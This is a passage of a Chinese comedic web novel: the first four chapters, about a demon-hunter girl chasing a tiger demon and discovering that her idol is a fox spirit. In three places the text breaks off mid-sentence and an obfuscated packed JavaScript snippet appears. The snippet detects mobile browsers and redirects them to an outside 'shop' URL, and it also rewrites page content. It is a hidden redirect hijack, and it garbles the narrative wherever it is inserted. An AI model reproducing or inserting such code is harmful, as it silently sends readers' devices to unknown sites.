《在娱乐圈开动物园的日子》 1. 第一章 “大胆虎妖!本座乃宗印派第七代降妖师!还不快束手就擒!” 高铁入站口,穿着老旧运动服的少女暴呵一声,引得路人纷纷侧目。 “不是吧阿Sir,本大爷不过偷吃了几只肥鸡而已,有必要从山沟沟一路追到高铁站吗。”一头黄毛的青年穿着黑色皮衣,流里流气地往地上吐了口痰。 “几只肥鸡而已?!”少女气得嘴都歪了,“你知道等了三个小时的肯德基外卖被偷吃,对一个弱小无助的小女孩造成的伤害有多大吗!” “什么降妖师,也就这点出息。看出本大爷百兽之王的真身算你有点眼力。”黄毛虎妖啧啧有声,“不过百兽之王也没法马上把鸡拉出来还你,既然如此纠缠不休,就干脆在这里把你解决吧。” 第七代降妖师祝青由额头青筋弹跳:“小小虎妖还敢造次,真是吃了豹子胆了!” 她作为一个降妖师,天天住在深山老林里修行,想吃一份肯德基得举着手机找半天信号,加价五十块钱才有外卖员愿意送货上门,临了还得自己踩半天二轮去接头。 她等得黄花菜都谢了,眼瞅着手机里显示外卖越来越近,却突然弹出一条提醒短信:“您的外卖已被会说话的老虎抢走”。 会说话的老虎…… 一般人见此恐怕早已断定,是外卖员拼好饭送多了累出幻觉了。 但祝青由作为降妖界公认的天才后辈,立马通过灵力感知锁定了这只虎妖,当即祭出法宝气势汹汹要来找他算帐,誓要为自己的外卖讨一个公道! 堂堂宗印派降妖师被小妖怪偷了鸡,传出去不亚于大刀砍了关公庙,大斧劈了鲁班门,简直是奇耻大辱。 要是不给他点颜色看看,她干脆今天就替祖师爷把自己清理门户了。 “豹子胆不在老虎的食谱上。没文化,真可怕。”虎妖一脸鄙夷地抠了抠鼻屎,还顺势往她脸上弹,“再说了,大爷我看单子上写的什么‘顶流白茫唯一正牌女友’,哪个正经降妖师会起这种不正经名字?” 被人当众大声念出网名,其羞耻程度不亚于公开处刑。 祝青由脸涨得通红:“都什么时代了,谁规定降妖师不能追星啊!” 白茫是近几年娱乐圈内当红顶流,一头银白发色和一双勾魂夺魄的狐狸眼俘获了无数少女芳心,其冷峻时尚的气质更是把祝青由这种涉世未深的土包子迷得颠三倒四。 她每日刻苦修行,日子单调乏味,网络信号不好的日子里,只有珍藏的白茫写真集陪着她。 看着那张英俊逼人的脸,祝青由暗自发誓,等哪天攒够了钱,一定要第一时间进城,去见见这位心尖尖上的帅哥。 加价五十块才买来的外卖,自然还要听外卖小哥叫她一声白茫女友过过耳瘾。万万没想杀出一只拦路虎,不仅让她白等半天,还血亏一笔钱,一路上还嘲讽不断,实在是欺人太甚! 不行,她必须要捉拿这只犯戒虎妖,逼他天天送外卖赚钱给自己。 祝青由双手结印,飞快比了一连串的手势,同时口中念念有词:“天道为绳,姓名为引;缚汝妖身,听吾号令!” 方才斗嘴的间隙里,她已经用灵力悄无声息地在高铁站四周布下了阵法。伴随着她的动作,一个泛着粉色金光的阵法在脚底缓缓成型,复杂的符文如同缠绕的鬼魅般在阵法内飞速游走,将一人一妖束缚其中。 “这是什么?颜色还怪好看的。”虎妖挠了挠头。 他左右不过二十余年的修行,没见过什么世面,不知道降妖师的可怕。 “你的审美,让本座很欣慰。”祝青由双瞳之中燃起金粉色的火焰,声音也低沉了几分,浑身散发着这个年龄不该有的气场,“你的愚蠢,让本座很遗憾。” 虎妖就是再迟钝也感知到了危险,浑身毛发竖起,如临大敌般,急着想现出自己的妖身拼死一搏,却发现自己早已被阵法压制,完全动弹不得。 祝青由布下的阵法名为“问名”,可以迫使其中的一方说出自己的名字。在降妖界,得知对方的真名就等于得到控制对方行动的咒语。 这是一种较为简单的初级阵法,若是遇到百年以上的大妖则极易遭遇反噬,但降服眼前的虎妖已是绰绰有余。 高铁站内人来人往,但由于凡人之眼看不见灵力的流动,路人都只以为进站口处一男一女在深情对望,而女孩手里比划的奇怪姿势是什么小情侣之间的神秘暗号。 祝青由不想闹出太大的动静,因此只释放了一小部分灵力,但这已足以令她在虎妖眼中浑身散发着恐怖的威压。 “告?诉?我?你?的?名?字……”祝青由瞳孔中的火焰愈烧愈烈,烧及全身后沿着游走的符文蔓延到了虎妖身上,阵法流转带起的旋风吹起她的头发,粉色烈火在空中形成了咆哮的火龙旋。 她口里吐出的每一个字都犹如一道酷刑鞭策在虎妖的神识之中,让他害怕得想要跪下。 就在他控制不住,即将要从牙缝间泄露真名之际,少女周身燃烧的粉色火焰却在瞬息之内全部熄灭,高铁站内运转的灵力也霎时间消失得无影无踪。 祝青由正奇怪,刚想重新施法,却发现自己的身体动不了了 糟糕,被反噬了,这怎么可能。她眼里罕见地闪过一缕惊慌,舌头却不受控制:“我、我的名字是……” 虎妖转危为安,松快了一下筋骨,哈哈大笑起来:“什么玩意儿,吓我一大跳,还真把你当根葱了。小妹妹,快把真名说出来,大爷我一定好好疼你。” “我是顶流白茫唯一正牌女友!”祝青由眼一闭心一横,社死总好过身死,“我是顶流白茫唯一正牌女友!我是顶流白茫唯一正牌女友!” 危急时刻,她硬着头皮用网名顶住阵法反噬的威力,成功避免了自己的真名被妖族知晓,而付出的代价,就是路人纷纷捂着嘴用看傻子的目光侧身躲过。 她甚至能瞧见,几个路过的年轻女子假装不在意地低着头拨弄手机,实则疯狂打字吐槽今天在高铁站遇到神人了。 祝青由眼角缓缓淌过一滴泪:这附近千万别有我同担啊…… “啊哈哈哈哈哈……”虎妖已经笑得直不起腰了,“我不行了,大爷我真的不行了,传说降妖师心狠手辣,原来就把我们活活笑死啊。” …… 祝青由福至心灵,今日高铁站内确实没有她的同担,却有她的爱豆白茫。 高铁站内,一辆列车缓缓停靠入站,一个身材高挑,戴着鸭舌帽、墨镜和口罩的男人推着行李箱随着人流走了出来。 即便已是全副武装,但黑色口罩遮不住的鼻梁轮廓,依然暴露出此人的极其优越的面部折叠度。而他周身超凡脱俗的气质,更是令所有乘客都频频侧目,并打心底相信这是一个不可多得的帅哥。 白茫刚下列车,一阵异样的灵力波动就让他忍不住打了个喷嚏,随即又恢复了正常。 他没放心上,只道是此地空气质量不够好,又忍不住腹诽了前经纪人几句。 都怪邪恶的前经纪人,非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372616|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在公司高层面前污蔑他性格顽劣难伺候,甚至留书表示,辞职后要出家修行弥补心灵创伤,导致现在没有一个人愿意接手他的经纪和助理工作。 白茫贵为顶流巨星,如今也只能自己买车票赶路去电影外景片场。过惯了衣来张口饭来伸手的好日子,他甚至不知道怎么预定贵宾通道,只能参照网上攻略给自己抢了一张二等座。 忍受了三四小时的舟车劳顿和小孩尖叫后,第一次独立出行的白茫墨镜下脸臭得能滴水,反而更加符合公司为他精心打造的冷脸帅哥人设了。 他无暇在意其他人对他投来的好奇目光,只是暗暗祈祷不要遇到恐怖的私生饭。他可不想向上次那样被粉丝们堵在机场两三个小时动不了身,尤其这次身边还没有经纪人和助理帮他解围。 他心里默默想着,却在刷卡出站的时候,发现高铁站出口前有一大堆人围成一团,将通道堵了个严严实实,所幸众人的目光并非看向自己。 白茫连忙拉下帽子,将自己的脸遮得严严实实。正拖着行李箱侧身挤过人群时,却听见里面传来大喊:“我是顶流白茫唯一正牌女友!我是顶流白茫唯一正牌女友!” 围观群众议论纷纷:“本来还以为是粉丝发疯,但是她在这里已经喊了十五分钟了,不会是真的吧?” “有可能,说不定她就是真的被白茫渣了,所以发疯的。” “好可怜,长得这么漂亮还穿这么土气的运动服,肯定是个老实女孩,哪里玩得过娱乐圈那些人精呐,啧啧啧。” “就是,那个白茫的脸天天挂在热搜上,哪有男人这么好看的,果然是个骚包狐狸精,四处沾花惹草。” 白茫绷不住了,摘下墨镜脱口而出:“不要造谣好吗!我根本就不认识她!” “吁——”众人转身看他,更是七嘴八舌议论起来: “天啊是白茫!是白茫!我说小姑娘怎么在这里喊呢,原来正主就在这儿了!看来这瓜保真!” “妈呀真的好帅啊……” “再帅也是渣男!” 虎妖早已逃之夭夭,留下祝青由在阵法的控制下无法离开,只能不停大声叫喊着自己的网名抵御反噬。 当她听见熟悉的声音,猛然抬头时感觉天都要塌掉了。 完了,第一次见到梦寐以求的自担,竟然是在如此丢人现眼的环境,还没来得及好好说上一句话,就要被对方在心底拉黑了。早知道当初就不贪外卖小哥那一声了…… 她痛苦地闭上了眼,嘴巴却只能一刻不停地大喊:“我是顶流白茫唯一正牌女友!我是顶流白茫唯一正牌女友!” “别喊了,我真的不认识你!”白茫眼见越来越多人拿出手机来拍照录像,肇事者的嘴巴却没有停下的意思,忍不住气急败坏道。 说来奇怪,大概是极度的羞耻心压过了阵法的禁锢,舌头都快麻了的祝青由终于能如愿以偿地闭上了嘴巴。 她怀着悲愤而绝望的心情,最后看了一眼人群中的白茫——她甚至分不清自己悲愤的,到底是在偶像面前丢光了脸,还是难得见一次爱豆,对方却带着口罩看不到全脸——然后施了一个闪身决,骑上人群外的二轮车,飞速逃走了。 她甚至来不及细想太多,只能在心底挥泪诀别:哦,再见了,我的爱人。我已决定再也不要想起今天这痛苦的回忆,只能把你和对你的爱也一起忘掉了。 而另一侧,一个人面对排山倒海般质疑的白茫,银牙咬碎:邪恶的坏女人,永远不要让我再见到你! 2. 第二章 虽然再也不想提及痛苦的回忆,祝青由逃回山上后,还是在祖师爷碑前,将今天发生的事情一五一十和师母说了。 师母先因她乱花钱点外卖的事情,狠狠修理了她一顿,又神情肃穆道:“你的才能我很清楚。虽然问名阵极为简易,但能破你阵法的妖怪,绝非泛泛之辈。” 祝青由捂着头上的大包,脸上的表情却很正经:“是弟子轻心了。那个虎妖左右不过二十余年的道行,真不知道他哪来的本事竟能让阵法反噬。” 师母沉思片刻:“妖力强弱不止取决于修行的年数,若能遇上机缘,须臾之间也可以有万千造化。早年便有蛇妖冒充真龙享受香火供奉,短短几年便成了远近闻名的巨妖,我与你师叔联手鏖战四十九日才将其斩落。” “难怪他偷外卖敢偷到我头上,听到降妖师的名号也不害怕。”祝青由私仇公报,决定为民除害,“此妖不除,必成大患。师母你给我批点经费,我马上收拾东西下山收妖。” 师母点点头:“你修行多年,为师一直相信你能扛起复兴我宗印派的大任,只是你阅历尚浅,独自处理这等妖物我不放心,这枚镇妖佩你随身带着,它能压制妖力逼对方现出原形。” “看着很一般呐,有没有更强大一点的法宝。”祝青由看着这块浅青色的玉佩,挠了挠头。 她头上又多了一个大包。 “这是本派镇山之宝,你到时候就知道它的厉害了。”师母收回了拳头,“给你五百当路费,下山之后别乱跑。” 就这样,祝青由腰携镇妖佩,身穿运动服,手提桃木剑,脚踏自行车,不伦不类地下山了。 她自小跟随师母长于深山,与尘世往来不多,此刻醉心于用灵力催动罗盘寻找妖怪所在之处,根本无心挂念世人眼里自己的穿搭有多么奇怪了。 她的灵力覆盖范围只有方圆百米,虎妖已经逃出这个范围之外。刹海罗盘能指向妖气最旺盛的地方,但此时罗盘指针飞速旋转个不停,始终没有停下。 这说明此妖非同凡响,其妖气已经完全笼罩了这片小镇。 宗印派驻守文蓝山百余年,山下村镇一直祥和安定,从未有过如此局面。 祝青由想不通其中究竟有什么古怪,一时也找不到虎妖的踪迹,便干脆顺路去镇上肯德基买点炸鸡吃吃。 师母平时抠得要命,很少给她零花钱,她只能啃点除妖经费的回扣。 本来五百块她能省出三百来,刚好给爱豆白茫冲专辑销量,但如今爱已成往事,她还是买点吃的对自己好点吧。 祝青由正啃着鸡翅,为自己过早凋零的爱情之花长吁短叹,却听见隔壁传来一阵叫骂声: “这个月丢了多少单了,每次都撒谎说是被一只会说话的老虎抢走了,你这还是世界五百强企业员工该有的素质吗?” 被骂的员工苦着脸:“经理,我没撒谎,那个老虎真的会说话。我要是精神真出问题了,能算工伤吗?” “算你倒霉。”经理冷酷无情地走开了。 “算你走运。”祝青由活力四射地出现了,“会说话的老虎是吧,你的外卖交给我送,我帮你收拾它。” 见外卖员面露忧色,祝青由拍胸部保证:“放心好了,本座是受过专业训练的降妖师,不用担心我的安危。” “倒不是担心这个,”外卖员有点纠结,“我是怕你趁机偷吃我外卖。” “……” ------------------------------------- 白茫最近有点倒霉,由于随行工作人员纷纷辞职,他不得不独自前往到鸟不拉屎的小乡镇拍摄电影外景。 刚下高铁就遭遇运动服怪人泼脏水,还被义愤填膺的吃瓜群众围堵了三四个小时。 现在拍了一整天的戏,饿得前胸贴后背,别的演员都有经纪人和助理提前准备饭菜,他只能在跟龙套抢盒饭与翻找垃圾桶之间,选择偷偷点外卖到拍摄点。 剧组早已提前清场,不许任何无关人员出入。白茫瞅准了有个偏僻角落围栏缺了一块,备注要求外卖员偷偷翻墙进来,事成之后另有两百小费相赠。 他蹲在角落里左等右等,丝毫没有维持高冷男神人设的自觉,若是经纪人还在,怕是又要气得发疯。 今天的肯德基配送似乎额外缓慢,白茫紧盯着手机上的定位小人越来越近,就在距离自己不到五十米的地方时,却突然弹出一条消息:“您的外卖已被会说话的老虎抢走。” 白茫还来不及惊讶,另一条提示消息随后就到: “您的外卖员正在和老虎激情搏斗。” 白茫蹭的一下站起来,长腿一跨就翻了出去,急匆匆地跑向外卖所在之处。 老虎会不会说话倒是无所谓,可别把自己的外卖打翻了。 等他赶到的时候,映入眼帘的,是被他列入首席黑名单的运动服怪人拿着哈利波特的魔杖在殴打国家二级保护动物。 白茫揉了揉眼睛,确定自己眼神没问题,又飞快默背了一下九九乘法口诀,确定自己脑子没问题。 原来错的不是我,而是这个世界。他欣慰地点点头。 祝青由学习中华传统美德,发扬武松打虎精神,揪着对方的后颈毛狠狠摁在地上胖揍,听到身后有动静,一转头就和一张惊世绝伦的帅脸对视一下。 “你好啊,这位素未谋面的帅哥。”电光火石之间,祝青由头脑中掌管花痴的板块与掌管尊严的板块博弈了无数次,最终选择假装从前的事情从未发生过,欺骗自担,哦不前担哥重新认识自己一次,洗刷耻辱印象。 缘,真是妙不可言啊,前担哥,虽然我已经决定忘记你,但命运还是会逼着我们再一次相遇。 “你手里拿着的是什么东西?”白茫面无表情地看着她手里的魔杖,眼神睥睨,脸色冷峻,实则已是彻底没招了。 “哦,这是我的桃木剑。”祝青由璀璨一笑,热情地向前担介绍,“可能对于从小接受唯物主义价值观的你来说很难接受,但是从实际上来看,妖怪确实是存在的……” “停停停,”白茫打断她的滔滔不绝,“桃木剑我知道,但是它为什么长这样?” 祝青由面带职业微笑,尽职尽责地解释:“这叫贯穿古今中外,致敬经典IP。越是民族的,就越是世界的,国际化发展才是传统文化新趋势。” 背着一把木剑上街,会被人当做神经病关起来,但是随身携带一根魔杖出门,大家只会把她当做童趣未泯的小女孩。这就是为什么她要把自己的本命桃木剑刻成这个样子。 白茫点点头,转身就走。他一定是太累了,才会看见这么多乱七八糟的东西。 就在他背过身的刹那,一直被压制的虎妖趁着祝青由分神,奋力从她手下挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372617|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱,朝着白茫狠狠扑去。 “当心!”祝青由惊叫失声。 “天助我也!”虎妖大笑,“你胆敢出手,我就让你从女友变寡妇!” 霎那间妖气大作,天地变色,祝青由来不及施法阻拦,眼睁睁地看着一只山虎巨兽如泰山压顶般,扑向白茫肩宽腰窄的背影。 情急之下,她只能拽下腰间玉佩狠狠掷去。 祝青由在深山中修行多年,准头自然非同凡响,镇妖佩直勾勾地冲着山虎要害而去。 只是偏偏在这至关紧要的时刻,白茫突然想起自己外卖还没拿,一个回身,镇妖佩便突如其来地砸在了他的脑门上。 一声悠远空灵的嗡鸣从玉佩深处传来,一股强大的力量形成白色旋涡将三者团团包围。虎妖眼睁睁地看着自己双爪慢慢融化在白光中,强大的求生欲让他从灵魂深处爆发出最后的虎啸。 龙吟虎啸被世人并列千年,这声嘶吼带来的冲击简直令人心肺寸裂。 祝青由紧紧捂住耳朵,避免脑仁被虎啸震碎,却也失去了趁机擒拿虎妖的机会。虎啸中蕴含的妖力助他撕开了一层旋涡,虎妖当即慌不择路地逃走了。 而正处于旋涡最中心的白茫却始终被雾气团团围住,祝青由几次想要接近都被镇妖佩散发的灵力弹开,惊慌之下忍不住开始了头脑风暴: 镇妖佩是正道宝物,自然不会对凡人肉身造成什么影响,但前担哥被困在中心这么久,万一影响到智力了怎么办? 虽然说这几年笨蛋美人人设挺火的,但好像和他之前高冷帅哥的形象差别有点太大了,其他粉丝不买账怎么办。 还是赶快把他带回山上治治吧,不过万一被人误会我是狂热私生饭绑架爱豆怎么办?我会上热搜吗?我们宗印派还能复兴吗? 她一边想着,一边手中飞速结印破阵,经过她的不懈努力,白色旋涡终于缓缓褪去,但旋涡中心却是空无一物。 天啊,前担哥不会被妖怪抓走了吧,他是唐僧转世吗?那我是什么?是孙悟空还是猪八戒? 祝青由抽了自己一巴掌,才停下了胡思乱想。 “你打自己干什么?”地面上突然传来熟悉的声音。 祝青由一低头,发现原本白茫站着的地方,出现了一只通体雪白的小狐狸。 她还没来得及震惊,却听见狐狸口吐人言:“怪女人,你怎么变得这么高大了?” 祝青由提着它的尾巴把它抓起来;“喂,你叫一声大楚兴,陈胜王给我听听。” “你在干什么,快把我放开!”毛茸茸的狐狸生起气来也是毛茸茸的,很可爱,“不对,我的手怎么变成爪子了。坏女人,你对我做了什么,我现在好热……” 祝青由松开手,一脸无语地看着它:“大夏天的,你一身厚皮草当然热啦。” 白茫不太适应自己的狐狸身体,废了好大的劲才找到尾巴摆放的舒适位置。他已经很久没有变回真身了,没经过换毛期,现在身上还是冬天的厚皮毛。 他努力用小爪子把身上的浮毛梳下去,一抬头却看见祝青由眼神冰冷,似有杀意。 “你究竟是谁?”降妖师的威压瞬间释放,仿佛能在顷刻间夺走万千生灵性命。 玩归玩,闹归闹,祝青由虽然在心动男嘉宾面前是个偶露花痴的少女,但作为宗印派第七代传人,她关键时候依然是令妖族闻风丧胆的存在。 3. 第三章 “坏女人,闯了祸还敢这么嚣张。”白狐狸气急败坏道,“你哪个组织的,我要投诉你。” “真是倒反天罡,本座乃是宗印派第七代降妖师。”祝青由亮出桃木魔杖耍了个剑花,“报上名来,本座可饶你不死。” “哪里来的乡野降妖师,”白狐狸冷哼一声,“本妖行走人间是经过全国降妖师协会登记注册的,你又是什么身份?你的营业执照呢?” “什么登记注册?”祝青由傻眼了。 全国降妖师协会她知道,每两年都会召开一次研讨会。由于师母从不出山,每次都是她作为宗印派代表出席。 会上她不是在呼呼大睡,就是在蹭网玩手机,唯一的印象就是会议茶歇挺好吃,至于会上说了什么,真是一个字也没记住。 不过上次好像真的隐隐约约有听说什么“除妖手续正规化”“人妖关系和谐化”,她当时没放在心上,事到如今居然想起来了。 面对白狐坚定的质疑眼神,祝青由有几分心虚,她用灵力探测了一下对方的底细,发现对方妖力非常纯净,不掺一丝邪气,确实是一只没犯过戒的好妖。 突然,不远处传来一阵躁动,原来是方才的动静引来了剧组的人一探究竟。 降妖师职业守则第一条:尽量不要让凡人得知妖类的存在。 爱岗敬业的祝青由一把抓起地上的狐狸,塞进自行车前面的兜篮中,飞速逃走了。 “白茫老师哪里去了?”剧组的工作人员四下张望,“真是奇怪了,刚刚一个人在墙角蹲半天,脸色还很难看,我们都不敢过去问是怎么了。” “对啊,他气场真是太强了,我都不敢邀请他我们一起吃饭。” “刚刚我好像听到有老虎的叫声?白茫老师人没事吧。” “我也听到了,但是老虎怎么可能来街上,一定是听错了吧。” “……” 祝青由的自行车上贴了神行符,骑得飞快,白狐狸被风吹得龇牙咧嘴。等到重新被祝青由抱在怀里的时候,已经完全成了一只炸毛团子。 “你不会……就是白茫吧……”祝青由大眼瞪白眼。 白狐狸白眼翻上天:“不然呢,我·的·唯·一·正·牌·女·友?” 祝青由悲从中来,短短几天之内,她的少女心事直接从爱上顶流升级到见光死再到跨物种绝恋了。 “快把我变回去!”白茫闹脾气了,出生到现在受过的所有委屈加起来都没有这两天的多。 “不是我把你变成这样的啊,是那个时候你撞在了镇妖佩上……诶对了,我镇妖佩呢?”祝青由解释到一半,突然意识到刚刚自己把狐狸捞进怀里,却把镇派之宝落在了案发现场。 完了,师母一定会把我吊在师祖石碑前打的。 “镇妖佩?”白茫捏了捏自己毛茸茸的小爪子,“一定是那个东西吸收了我全部的妖力,害得我现在无法化形了。” 等他们蹑手蹑脚地偷偷溜回现场时,却发现地上空无一物。 “大概是被之前走来的工作人员捡走了。”祝青由眉头紧皱,“前担哥,你一定要想办法把它要回来还我啊。” “要回来?”白茫怒极反笑,“你让我以一个狐狸的样子去要吗?你好,我是一只被女巫诅咒的魔法白狐,只要你把手里的玉佩给我,我就可以变成王子的样子娶你回家哦。” 祝青由尴尬一笑:“那你要不先随我回宗印派一趟,我师母应该会有办法。” “误工费记得赔我一下,”白茫眼神冷冰冰的,半点情面也不讲,“我现在拍的这部电影,每天场地和道具的租金就得几十万,我这个男主角走了,浪费的钱你们宗印派记得结清一下。” 祝青由痛苦地从口袋里摸出剩下的四百三十二块五的除妖经费:“就这么点钱了,本来打算给你冲专辑销量的,现在全给你了。” “卖惨哭穷也没有用,”白茫冷酷地从毛茸茸的大尾巴里掏出智能手机,“和我的律师函说去吧。” 手机上消息不断弹出,是剧组工作人员发现了白茫的失踪,正在四处寻找他。 祝青由也是没招了,她算是彻底明白出门前师母说的“阅历尚浅”是什么意思了。她日夜在深山老林学习降妖之术,却从未学会如何处理眼前的复杂世情。 突然,她灵机一动:“既然以狐狸的身份没办法找玉佩,那我先把你变成人,总可以了吧。” “什么意思?” “和我签订契约,我的灵力能供给你成功化形,你再帮我把玉佩要回来。” “签订契约?”白茫眯起眼睛,“就知道你这个降妖师心机深,表面上装傻阴我,实则扮猪吃老虎骗走我的真名,然后想方设法奴役我虐待我压榨我对吧。” “我哪有这么坏!”祝青由脸红了,她之前要降服虎妖是因为对方为害人间,她也只不过是想让他天天送外卖赎罪罢了,白茫这件事上她自知理亏,怎么会仗着契主的身份虐待白茫呢。 虽然物种变了,但好歹也是她的前担哥啊。 她是温良追星女,脱粉不回踩。 “那我也把我的真名告诉你,这样互不相欠了。” 白茫点点头,这主意倒是不错。一个邪恶的念头突然在他脑海里诞生了,他拼命捂着嘴才避免桀桀桀地笑出声。 天才降妖师祝青由很快在地上写好了阵法符文,随着一道粉色的淡光亮起,毛茸茸的白狐身影逐渐褪去,高挑俊美的白茫重新回到她的视野里。 可恶,还是好帅啊。祝青由扭开了脸。这一定是狐狸精的魅术导致的! 白茫见自己已经恢复如初,立马如小人得志般猖狂:“傻女人,下次签订契约记得找个律师拟好合同。我都恢复人形了,谁还帮你找玉佩啊,哈哈哈哈哈……” 他大笑着跑开了。爹!娘!孩儿出息了!我们一家被降妖师害得这么惨,如今我终于报仇雪恨了! 他还没笑多久,突然身体一轻,又化作一只狐狸掉在了地上:“怎么回事?我不是签订契约了吗?!” 祝青由一脸无语地看着他画风突变。这真的是屏幕里那个高冷英俊的白毛王子吗?怎么真人性格竟如此跳脱? 果然距离产生美,私生易脱粉。 一想到自己曾为这样的傻狐狸花光所有攒下的经费,她就满头黑线。 祝青由走过去:“我的灵力范围只有方圆一百米,你离开了这个范围自然就失效了。” “坏女人坏女人坏女人!”白茫的高冷人设本来就是压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372618|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抑本性的产物,成了狐狸之后自然全抛在后头了,气得直接在地上打滚,“欺骗我感情!快把我变回来!” “别说这些令我后男友误会的话。”祝青由义正言辞,“下次签订契约记得找律师弄清楚隐藏条款。” …… 半个小时后,众人苦寻已久的白茫老师如期回到了休息室。 白茫神色如常,依旧是三分冷淡三分漫不经心的经典款男主脸,如同一面盾牌阻挡了所有惊愕的目光。 只是他的身后,多了一个陌生的身影。一个穿着运动服的高马尾少女,虽然容颜姣好,却素面朝天,散发着与娱乐圈格格不入的质朴天然气质,笑得有些尴尬和局促。 “白老师,制片说非工作人员不得入场,请问这位是……”一位工作人员顶着压力冒死询问祝青由的身份。 身后另一位工作人员火速把他拉走,压低了声音:“你没看热搜吗?之前有人拍到有个女生在高铁站控诉白茫负心,视频里就穿着这身运动服!” “嘶——”众人不由得倒吸了一口冷气。 短短几天之内,她就从高铁站追到剧组住所了,此女恐怖如斯。 而白茫老师更是惊人,作为圈内顶流,就这样堂而皇之地把绯闻对象带到剧组展示给所有人看,难道是要官宣的意思? 不知是否是听见了大家的议论,白茫侧过脸,语气平淡:“这是我新来的经纪人。” 哦——大家一副了然于心的样子: 看来还不准备把真实关系公之于众。 白茫老师这个谎撒的也太没水平了吧,谁家经纪人会在大庭广众之下说自己是手下艺人的女友。 喂喂喂,你们俩怎么还直接进一个客房了,谁家经纪人和艺人睡一起啊! 工作人员们都不开口说话,彼此用眼神交流:为了我们的电影能顺利上映不被粉丝们冲爆,大家一定要誓死守住这个秘密啊! 白茫把门一关上,就绷不住人设了:“坏女人!快从我的床上下来!” 正在尽情享受两米宽超豪华至尊柔软大床的祝青由闻言,停止了自己的蹦跶行为:“那我晚上睡哪?” 白茫愤怒地控诉:“要不是其他相近的房间都有安排了,你以为我会让你进来?我是有豆德的好爱豆,是不会随便和一个异性睡到一张床上去的。你就睡地板吧。” 如果祝青由还是白茫的粉丝的话,一定会为自担的守身如玉感动不已,但如今她已认清物种差距选择了脱粉,白茫的话只能起到一个挑衅作用。 “话是这么说啦,”祝青由笑嘻嘻地看着他,“但是床是用来给人休息的,小狐狸不许上床睡觉。” 说罢,她手一挥结束灵力供给,白茫脚下一空又重新变回了一只白狐。 “你纯粹就是个混蛋!”白茫气得直跺脚。 祝青由却只是自顾自地睡去了。 白茫在床底下生了一阵子的气,却实在没办法。只能拽着床单攀上床垫,在离祝青由最远的角落,窝成一个球团抱着尾巴睡去了。 祝青由也没赶他,还扔了个枕头过去。 明天就发动剧组上下所有人找到那块破玉佩,然后和这个坏女人此生再也不见!白茫眼角含泪,沉沉地睡去了。 4. 第四章 祝青由一觉醒来,发现自己睡梦中泄露的灵力又将白茫化作了人形。 一米八几的男人蜷缩在床脚,虽然表情很警惕睡得却很深,看起来有点可怜又有点可爱。 她昨天晚上就给师母发了信息,询问破解之法。但山上信号不好,师母可能一时半会儿收不到,也没有回信,还是自己去找失落的镇妖佩要紧。 她洗漱完出了门,发现门外三三两两聚集着一些工作人员,虽然看上去在各忙各的,眼神却忍不住一直往门内飘忽。 “你们是找白茫有事对吧,我去把他叫起来。”祝青由想起,昨天白茫说这个电影一天就至少要花几十万的成本,工作人员急着让男主角起床无可厚非。 “不用了不用了,白茫老师昨夜一定辛苦了,让他好好休息吧。”工作人员汗如雨下。 白茫长着一张生人勿近的冷脸,行事素来诡秘,又有经纪人接连被逼辞职的传闻。在娱乐圈这个名利场里,大家都不敢得罪这位如日中天的顶流。 祝青由可不管这些,她和所有活在粉圈信息茧房的追星女一样,深信自担是个努力刻苦兢兢业业的二十四孝好爱豆,反手就把白茫从床上提起来了。 白茫大梦未醒,被吓了一大跳,几番交涉后,还是迫于降妖师的淫威不得不爬了起来:“坏女人,都怪你,我昨天晚上根本就没有休息好。” 祝青由尽显铁腕经纪人风范:“休息是糊咖的特权,顶流就要有牛马的自觉。” “我才不是蠢笨的牛马,我是高贵的狐狸。”白茫一边洗脸一边小声抗议,“古今中外里面哪个故事里的狐妖是需要一早上爬起来吭哧吭哧干活的,不都是凭借美色征服所有人甘心上供的吗?” “你的工作就是努力靠美色征服所有人。”祝青由一把把对方推出房门,送到了剧组工作人员身边,收获了一打敬佩的眼神——传言中白茫从业五年来,从未有一天准时上工过,今天没迟到真是奇迹啊,难道这就是爱情的力量吗? 祝青由代入经纪人角色的适应度十分良好,只把这敬佩的眼神当做是对她前担实力的认同,也跟着笑着点了点头,笑完才突然意识到:白茫去拍电影了,那谁来和她一起去找镇妖佩? 化妆间内,白茫被一群人围着上妆容。 如果地球oline真的存在技能点分配的话,白茫一定是把所有点数全部加在了美貌这一块。一张脸稍加整饬就让化妆师姐姐们啧啧称奇,接着又继续加以整饬。 祝青由坐在他身后,心急火燎地询问了一圈剧组人员。他们纷纷表示,昨天白茫就在大群内问过有没有人看见过一块玉佩,但至今都没有人回复。 “那块玉佩很重要吗?”制片人助理姐姐眨巴眨巴眼睛。 “事关两人生死。”祝青由面色凝重。 